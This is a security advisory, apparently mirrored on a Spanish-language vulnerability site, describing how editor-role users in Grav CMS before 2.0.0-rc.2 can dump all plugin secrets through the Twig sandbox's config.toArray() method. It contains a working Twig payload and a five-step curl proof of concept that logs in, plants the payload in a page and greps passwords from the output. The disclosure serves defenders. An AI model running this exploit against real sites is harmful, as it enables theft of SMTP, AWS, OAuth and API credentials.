Grav: Twig sandbox allows editor-role users to exfiltrate all plugin secrets via Config::toArray()
Summary
The Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required.
Details
The Twig sandbox allow-list in system/config/security.yaml explicitly permits Config::toArray() for the Grav\Common\Config\Config class:
- class: 'Grav\Common\Config\Config'
methods: 'get, toarray, value, default, offsetget, offsetexists'
The config object — which holds the full merged configuration tree including every key under plugins.* — is injected into every sandboxed render in system/src/Grav/Common/Twig/Twig.php (line 292):
$twig_vars = [..., 'config' => $config, ...]
Any editor with admin.pages can save a page with process.twig: true in the frontmatter and the following payload in the body:
{{ config.toArray()|json_encode|raw }}
When the page is rendered, the full config tree is dumped as JSON in the HTML, including all plugin secrets stored under user/config/plugins/*.yaml.
PoC
# Step 1 — Get login nonce
NONCE=$(curl -sc /tmp/cookies.txt http://TARGET/admin \
| grep -oP '(?<=name="login-nonce" value=")[^"]+')
# Step 2 — Login as editor (no admin.super)
curl -sc /tmp/cookies.txt -b /tmp/cookies.txt \
-X POST http://TARGET/admin \
--data-urlencode "data[username]=EDITOR_USER" \
--data-urlencode "data[password]=EDITOR_PASS" \
--data-urlencode "task=login" \
--data-urlencode "login-nonce=${NONCE}" -o /dev/null
# Step 3 — Get admin nonce
ADMIN_NONCE=$(curl -s -b /tmp/cookies.txt http://TARGET/admin/pages \
| grep -oP '(?<=admin-nonce" value=")[^"]+' | head -1)
# Step 4 — Save page with process.twig:true and payload
curl -s -b /tmp/cookies.txt \
-X POST http://TARGET/admin/pages/poc \
--data-urlencode "admin-nonce=${ADMIN_NONCE}" \
--data-urlencode "task=save" \
--data-urlencode "data[frontmatter]=title: poc
process:
twig: true
published: true" \
--data-urlencode "data[content]={{ config.toArray()|json_encode|raw }}" \
--data-urlencode "data[folder]=poc" \
--data-urlencode "data[route]=/" \
--data-urlencode "data[name]=default" -o /dev/null
# Step 5 — Retrieve secrets from rendered page
curl -s http://TARGET/poc | grep -o '"password":"[^"]*"'
Impact
Any user with the editor role (admin.pages) can exfiltrate all plugin credentials stored in the site configuration without any administrator privileges. Affected secrets include SMTP passwords, AWS access/secret keys, OAuth client secrets, reCAPTCHA keys, and any API token stored in plugin YAML config. Each extracted credential independently compromises the connected service.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de Composer | getgrav/grav | < 2.0.0-rc.2 | 2.0.0-rc.2 |
Referencias
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N- Debilidad (CWE)
CWE-200- Plataforma
- Composer
- Paquete
getgrav/grav- Publicada
- 13.05.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-j274-39qw-32c9 - CC BY 4.0
Historial de vulnerabilidades: getgrav/grav
Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 99
- Primera → última
- 11.2019 09.2026
- Sin corrección
- 6
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 7
- Alta 47
- Media 41
- Baja 4
Divulgaciones por año
- 2019: 1
- 2020: 1
- 2021: 4
- 2022: 10
- 2023: 5
- 2024: 8
- 2025: 23
- 2026: 47
-
Grav: Twig sandbox allows editor-role users to exfiltrate all plugin secrets via Config::toArray() esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.